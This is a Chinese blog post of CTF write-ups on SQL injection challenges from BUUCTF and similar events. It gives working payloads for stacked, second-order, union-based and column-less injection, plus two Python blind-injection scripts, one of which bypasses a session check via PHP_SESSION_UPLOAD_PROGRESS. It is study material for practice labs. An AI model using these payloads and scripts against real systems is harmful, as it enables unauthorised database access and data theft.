SQL注入题目总结

记录一下遇到的SQL注入题目解题步骤,方便以后复习

BUUCTF

这一部分是BUUCTF上面的题目,难度较大

BUU SQL COURSE 1

  • 首页

  • 点击登录按钮

账号密码都测试了,发现没有可用的注入点,查大佬的wp发现注入点不在这里

发现注入点url/backend/content_detail.php?id=1,直接使用sqlmap进行注入,没有什么过滤

最后在news.admin里获取到admin的密码,到登录页面登录,就可以得到flag

总结

这道题难度在于注入点的发现,不一定只有登录框才有注入点,以后多注意

[SUCTF 2019]EasySQL

输入1

输入2

输入100

输入0

发现当输入的数大于1时,结果都是Array ( [0] => 1 ),输入为0时没有回显,应该是要使用布尔盲注

布尔盲注

测试了一下发现and/or被过滤了,尝试用^来注入

输入0^10^0

可以使用,先手工试一下0^(ascii(substr((select database()),1,1))>1)

too long,没办法使用

报错注入

尝试报错注入

0^(updatexml(1,concat(0x7e,database(),0x7e),1))

发现是updatexml被检测,extractvalue也被检测了,报错注入不可行

堆叠注入

sqli-labs里面学过堆叠注入,这里尝试一下

`1;show databases;`

发现有效果,得到数据库,再查表

`1;show tables;`

得到表Flag,最后查列名

1;show columns from Flag;

结果报NONONO,发现是from被检测,堆叠查询失败

解法一

我们不可能知道查询语句的代码,只能猜测,一般有两种类型

select [input] from table;
or
select username from table where id=[input];

这道题应该是

select [input]||0 from Flag;
or
select id from Flag where id=[input]||0;

如果是select [input]||0 from Flag;,我们输入*,0,查询语句变成了select *,0 from Flag;

这道题试一下

成功了

解法二

先放payload

1;set sql_mode=pipes_as_concat;select 1;

set sql_mode=pipes_as_concat的作用是将||视为字符串的连接操作符而非或运算符,相当于concat(),比如1||flag会变成concat(1,'flag')

这道题的查询语句代码是select [input]||0 from Flag;,我们输入payload后变成了下面的代码

select 1;set sql_mode=pipes_as_concat;select 1||flag from Flag;

select 1||flag from Flag就是select concat(1,flag) from Flag

总结

上面两种解法都是在猜测查询数据的代码,要求有开发经验才能想的到,也算增长了见识

October 2019 Twice SQL Injection

源码分析

?action=login

if (isset($_POST['username']))
    $username = addslashes($_POST['username']);
    $password = md5($_POST['password']);
    $res = query("select * from users where username='{$username}' and password='{$password}';");
if ($res)
    $_SESSION['username'] = $res['username'];
    跳转到index页面
  • 登录账号被过滤了,密码进行了md5加密

?action=reg

if (isset($_POST['username']) && $_POST['username'] != "")
    $username = addslashes($_POST['username']);
    $password = md5($_POST['password']);
    mysql_query("insert into users(username,password,info) values ('{$username}','{$password}','十月太懒,没有简介');")
if(sql语句执行成功)
    跳转到login界面
else
    提示注册失败

注册账号被过滤,密码进行md5加密没然后插入到数据库中

?action=change

if (isset($_POST['info']))
    $info = addslashes($_POST['info']);
    mysql_query("update users set info='{$info}' where username='{$_SESSION['username']}';")
if(sql语句执行成功)
    跳转到index界面
else
    提示修改失败

info被过滤,然后插入到数据库

?action=index

$info = query("select info from users where username='{$_SESSION['username']}';");
输出$info

$_SESSION['username']没有经过过滤就插入到数据库,存在诸如点

思路

  1. 可利用的注入点就是index页面,要构造$_SESSION['username']

  2. $_SESSION['username']等于login页面的$res['username'],也就是登录账号,所以我们只需要构造登录账号

  3. 通过注册来构造可注入的账号

解题

爆库

注册,用户名为1' union select database()#

用此账号登录

得到数据库ctftrining

爆表

注册,用户名为1' union select group_concat(table_name) from information_schema.tables where table_schema=database()#

然后用此账号登录

得到ctftrining中的表flag,news,users

爆flag

注册,用户名为1' union select * from ctftraining.flag#

然后用此账号登录

得到flag

总结

遇到可以注册的地方就可以考虑二次注入了,分析好代码逻辑,找到没有过滤的参数,其实不难

[PwnThyBytes 2019]Baby_SQL

给了源码,先分析源码

index.php

//开启session
session_start();

foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;
foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;
foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;
foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;

//根据你是登录还是注册,include(对应的php文件)

function filter($value)
{
    //addslashes过滤
    return addslashes($value);
}

login.php

//先判断是否有session
!isset($_SESSION) AND die("Direct access on this script is not allowed!");

//执行sql语句,username和password来自index.php页面,经过了过滤
$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";';

if(sql语句查询成功)
    die('<meta http-equiv="refresh" content="0; url=?p=home" />')
else
    die('Try again!')

register.php

//先判断是否有session
!isset($_SESSION) AND die("Direct access on this script is not allowed!");

//一些过滤
(preg_match('/(a|d|m|i|n)/', strtolower($_POST['username'])) OR strlen($_POST['username']) < 6 OR strlen($_POST['username']) > 10 OR !ctype_alnum($_POST['username'])) AND $con->close() AND die("Not allowed!");

//sql语句
$sql = 'INSERT INTO `ptbctf`.`ptbctf` (`username`, `password`) VALUES ("' . $_POST['username'] . '","' . md5($_POST['password']) . '")';

if(sql语句查询成功)
    die("The user was created successfully!")
else
    die("Error!")

通过分析发现,虽然login.php文件没有对usernamepassword进行过滤,但是它们在index.php页面经过了过滤,然后传入了login.php

我们肯定想能不能直接往login.php传入参数而不经过index.php,也就是绕过index.php

index.php的一行代码

!isset($_SESSION) AND die("Direct access on this script is not allowed!");

这行代码判断了有没有session,而session是通过index.phpsession_start()开启的,就是说通过index页面才能访问到login页面

思考:能不能自己开启session而不需要index.phpsession_start()

PHP_SESSION_UPLOAD_PROGRESS

PHP_SESSION_UPLOAD_PROGRESS介绍

也就是说在上传文件的时候以POST方式传入PHP_SESSION_UPLOAD_PROGRESS,PHP会执行session_start(),开启一个会话

原理懂了直接看脚本

import requests
import time

url = "http://fbcc63a9-6ed1-4eb6-9d06-e07235835916.node4.buuoj.cn:81/templates/login.php"
mark = '<meta http-equiv="refresh" content="0; url=?p=home" />'
files={'file':123}
start = time.time()

result = ""
for i in range(1, 50):  # 字符长度
    min_value = 32
    max_value = 130
    while min_value < max_value:
        mid = (min_value + max_value) // 2
        if mid == min_value:
            mid = mid + 1
            break

        param = '?username=1" or (ascii(substr((select group_concat(secret) from flag_tbl),{},1))>{})%23'.format(i,mid)
        final_url = url + param
        html = requests.post(url=final_url, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},cookies={"PHPSESSID": "test1"})
        if mark in html.text:
            min_value = mid
        else:
            max_value = mid
    result += chr(mid)
    print(result)

总结

学习了通过PHP_SESSION_UPLOAD_PROGRESS来开启session

[GYCTF2020]Ezsqli

输入1和0,发现页面回显不同,可以尝试布尔盲注

测试发现or被禁用了,所以information不能使用,这样就没法查表名了

查资料发现sys.schema_table_statistics_with_buffer可以替代information_schema.tables

查表名

0^(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),1,1))>1)

查列名

information不能使用,所以不能查列名,需要使用无列名注入

无列名注入

无列名注入就是直接猜数据,用到的知识是两个字符串的大小比较

mysql> select (select 'b')>(select 'a');
+---------------------------+
| (select 'b')>(select 'a') |
+---------------------------+
|                         1 |
+---------------------------+

mysql> select (select 'b')>(select 'abcd');
+------------------------------+
| (select 'b')>(select 'abcd') |
+------------------------------+
|                            1 |
+------------------------------+

mysql> select (select 'ab')>(select 'a');
+----------------------------+
| (select 'ab')>(select 'a') |
+----------------------------+
|                          1 |
+----------------------------+

比较的规则就是一个一个字符比较,如果第一个字符就能比出大小,就不用看后面的字符了,如果不能比出大小就继续比后面的字符

  • 直接放脚本
import requests
url = "http://d4d672ad-54d1-47e3-85ad-d52c222d0afe.node4.buuoj.cn:81/index.php"
result = ""
mark = "Nu1L"

for n in range(200):
    for i in range(32, 127):
        s = result + chr(i)
        data = {"id": "0^((select 1,'{}')>(select * from f1ag_1s_h3r3_hhhhh))".format(s)}
        re = requests.post(url=url, data=data)
        if mark in re.text:
            result += chr(i-1)
            break
    print(result)

总结

主要用到了无列名注入,以后就可以在不知道列名的情况下注入了


文章作者: MissPower007
文章链接: http://time.pings.fun
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 MissPower007 !
评论
  目录